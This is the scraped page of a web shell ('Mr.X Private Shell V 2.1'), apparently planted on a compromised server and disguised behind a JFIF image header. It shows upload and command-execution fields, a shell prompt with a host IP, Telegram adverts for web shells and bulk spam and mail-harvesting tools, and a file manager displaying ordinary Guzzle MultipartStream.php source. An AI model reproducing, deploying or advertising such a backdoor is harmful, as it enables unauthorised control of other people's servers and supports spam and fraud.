����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Stream that when read returns bytes for a streaming multipart or
 * multipart/form-data stream.
 */
final class MultipartStream implements StreamInterface
{
    use StreamDecoratorTrait;

    /** @var string */
    private $boundary;

    /** @var StreamInterface */
    private $stream;

    private const BOUNDARY_CHARS = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'()+_,-./:=? ";

    /**
     * @param array       $elements Array of associative arrays, each containing a
     *                              required "name" key mapping to the form field,
     *                              name, a required "contents" key mapping to any
     *                              non-array value accepted by Utils::streamFor(),
     *                              or an array for nested expansion.
     *                              Optional keys include "headers" (associative
     *                              array of custom headers) and "filename" (string
     *                              to send as the filename in the part).
     *                              When "contents" is an array, it is recursively
     *                              expanded into multiple fields using bracket notation
     *                              (e.g., name[0][key]). Empty arrays produce no fields.
     *                              The "filename" and "headers" options cannot be used
     *                              with array contents.
     * @param string|null $boundary You can optionally provide a specific boundary
     *
     * @throws \InvalidArgumentException
     */
    public function __construct(array $elements = [], ?string $boundary = null)
    {
        if ($boundary !== null && !self::isValidBoundary($boundary)) {
            \trigger_deprecation(
                'guzzlehttp/psr7',
                '2.11',
                'Passing an invalid multipart boundary to MultipartStream::__construct() is deprecated; guzzlehttp/psr7 3.0 rejects invalid multipart boundaries.'
            );
        }

        $this->boundary = $boundary ?: bin2hex(random_bytes(20));
        $this->stream = $this->createStream($elements);
    }

    public function getBoundary(): string
    {
        return $this->boundary;
    }

    public function isWritable(): bool
    {
        return false;
    }

    /**
     * Get the headers needed before transferring the content of a POST file
     *
     * @param array<array-key, string> $headers
     */
    private function getHeaders(array $headers): string
    {
        $str = '';
        foreach ($headers as $key => $value) {
            $key = (string) $key;
            $str .= "{$key}: {$value}\r\n";
        }

        return "--{$this->boundary}\r\n".trim($str)."\r\n\r\n";
    }

    /**
     * Create the aggregate stream that will be used to upload the POST data
     */
    protected function createStream(array $elements = []): StreamInterface
    {
        $stream = new AppendStream();

        foreach ($elements as $element) {
            if (!is_array($element)) {
                throw new \UnexpectedValueException('An array is expected');
            }
            $this->addElement($stream, $element);
        }

        // Add the trailing boundary with CRLF
        $stream->addStream(Utils::streamFor("--{$this->boundary}--\r\n"));

        return $stream;
    }

    private function addElement(AppendStream $stream, array $element): void
    {
        foreach (['contents', 'name'] as $key) {
            if (!array_key_exists($key, $element)) {
                throw new \InvalidArgumentException("A '{$key}' key is required");
            }
        }

        if (!is_string($element['name']) && !is_int($element['name'])) {
            throw new \InvalidArgumentException("The 'name' key must be a string or integer");
        }

        if (is_array($element['contents'])) {
            if (array_key_exists('filename', $element) || array_key_exists('headers', $element)) {
                throw new \InvalidArgumentException(
                    "The 'filename' and 'headers' options cannot be used when 'contents' is an array"
                );
            }

            $this->addNestedElements($stream, $element['contents'], (string) $element['name']);

            return;
        }

        $element['contents'] = Utils::streamFor($element['contents']);

        if (empty($element['filename'])) {
            $uri = $element['contents']->getMetadata('uri');
            if ($uri && \is_string($uri) && \substr($uri, 0, 6) !== 'php://' && \substr($uri, 0, 7) !== 'data://') {
                $element['filename'] = $uri;
            }
        }

        [$body, $headers] = $this->createElement(
            (string) $element['name'],
            $element['contents'],
            $element['filename'] ?? null,
            $element['headers'] ?? []
        );

        $stream->addStream(Utils::streamFor($this->getHeaders($headers)));
        $stream->addStream($body);
        $stream->addStream(Utils::streamFor("\r\n"));
    }

    /**
     * Recursively expand array contents into multiple form fields.
     *
     * @param array<array-key, mixed> $contents
     */
    private function addNestedElements(AppendStream $stream, array $contents, string $root): void
    {
        foreach ($contents as $key => $value) {
            $fieldName = $root === '' ? sprintf('[%s]', (string) $key) : sprintf('%s[%s]', $root, (string) $key);

            if (is_array($value)) {
                $this->addNestedElements($stream, $value, $fieldName);
            } else {
                $this->addElement($stream, ['name' => $fieldName, 'contents' => $value]);
            }
        }
    }

    /**
     * @param array<array-key, mixed> $headers
     *
     * @return array{0: StreamInterface, 1: array<array-key, string>}
     */
    private function createElement(string $name, StreamInterface $stream, ?string $filename, array $headers): array
    {
        $headers = self::normalizePartHeaders($headers);

        // Set a default content-disposition header if one was no provided
        $disposition = self::getHeader($headers, 'content-disposition');
        if (!$disposition) {
            $headers['Content-Disposition'] = ($filename === '0' || $filename)
                ? sprintf(
                    'form-data; name="%s"; filename="%s"',
                    $name,
                    basename($filename)
                )
                : "form-data; name=\"{$name}\"";
        }

        // Set a default content-length header if one was no provided
        $length = self::getHeader($headers, 'content-length');
        if (!$length) {
            if ($length = $stream->getSize()) {
                $headers['Content-Length'] = (string) $length;
            }
        }

        // Set a default Content-Type if one was not supplied
        $type = self::getHeader($headers, 'content-type');
        if (!$type && ($filename === '0' || $filename)) {
            $headers['Content-Type'] = MimeType::fromFilename($filename) ?? 'application/octet-stream';
        }

        return [$stream, $headers];
    }

    /**
     * @param array<array-key, string> $headers
     */
    private static function getHeader(array $headers, string $key): ?string
    {
        $lowercaseHeader = strtolower($key);
        foreach ($headers as $k => $v) {
            if (strtolower((string) $k) === $lowercaseHeader) {
                return $v;
            }
        }

        return null;
    }

    private static function isValidBoundary(string $boundary): bool
    {
        $length = strlen($boundary);

        if ($length < 1 || $length > 70 || $boundary[$length - 1] === ' ') {
            return false;
        }

        return strspn($boundary, self::BOUNDARY_CHARS) === $length;
    }

    /**
     * @param array<array-key, mixed> $headers
     *
     * @return array<array-key, string>
     */
    private static function normalizePartHeaders(array $headers): array
    {
        $normalized = [];

        foreach ($headers as $key => $value) {
            self::deprecateInvalidPartHeaderName((string) $key);

            if (!is_string($value)) {
                if (!is_scalar($value) && $value !== null && !(is_object($value) && method_exists($value, '__toString'))) {
                    throw new \InvalidArgumentException(sprintf(
                        'Multipart part header value must be a string or stringable value but %s provided.',
                        \get_debug_type($value)
                    ));
                }

                \trigger_deprecation(
                    'guzzlehttp/psr7',
                    '2.11',
                    'Passing %s as a multipart part header value is deprecated; guzzlehttp/psr7 3.0 requires string multipart part header values.',
                    \get_debug_type($value)
                );
            }

            $value = (string) $value;

            self::deprecateInvalidPartHeaderValue($value);

            $normalized[$key] = $value;
        }

        return $normalized;
    }

    private static function deprecateInvalidPartHeaderName(string $name): void
    {
        if (!preg_match('/^[a-zA-Z0-9\'`#$%&*+.^_|~!-]+$/D', $name)) {
            \trigger_deprecation(
                'guzzlehttp/psr7',
                '2.11',
                'Passing an invalid multipart part header name to MultipartStream is deprecated; guzzlehttp/psr7 3.0 rejects invalid multipart part header names.'
            );
        }
    }

    private static function deprecateInvalidPartHeaderValue(string $value): void
    {
        if (!preg_match('/^[\x20\x09\x21-\x7E\x80-\xFF]*$/D', $value)) {
            \trigger_deprecation(
                'guzzlehttp/psr7',
                '2.11',
                'Passing an invalid multipart part header value to MultipartStream is deprecated; guzzlehttp/psr7 3.0 rejects invalid multipart part header values.'
            );
        }
    }
}

Filemanager

Name Type Size Permission Actions
Exception Folder 0755
AppendStream.php File 7.43 KB 0644
BufferStream.php File 4.69 KB 0644
CachingStream.php File 6.74 KB 0644
DroppingStream.php File 1.48 KB 0644
FnStream.php File 5.76 KB 0644
Header.php File 4.77 KB 0644
HttpFactory.php File 3 KB 0644
InflateStream.php File 1.38 KB 0644
LazyOpenStream.php File 1.06 KB 0644
LimitStream.php File 5.11 KB 0644
Message.php File 10.1 KB 0644
MessageTrait.php File 9.81 KB 0644
MimeType.php File 55.82 KB 0644
MultipartStream.php File 9.85 KB 0644
NoSeekStream.php File 1.12 KB 0644
PumpStream.php File 6.88 KB 0644
Query.php File 3.95 KB 0644
Request.php File 4.79 KB 0644
Response.php File 5.49 KB 0644
Rfc3986.php File 490 B 0644
Rfc7230.php File 3 KB 0644
ServerRequest.php File 13.2 KB 0644
Stream.php File 8.76 KB 0644
StreamDecoratorTrait.php File 4.79 KB 0644
StreamWrapper.php File 4.68 KB 0644
UploadedFile.php File 4.98 KB 0644
Uri.php File 23.44 KB 0644
UriComparator.php File 1.24 KB 0644
UriNormalizer.php File 8.91 KB 0644
UriResolver.php File 8.15 KB 0644
Utils.php File 21.66 KB 0644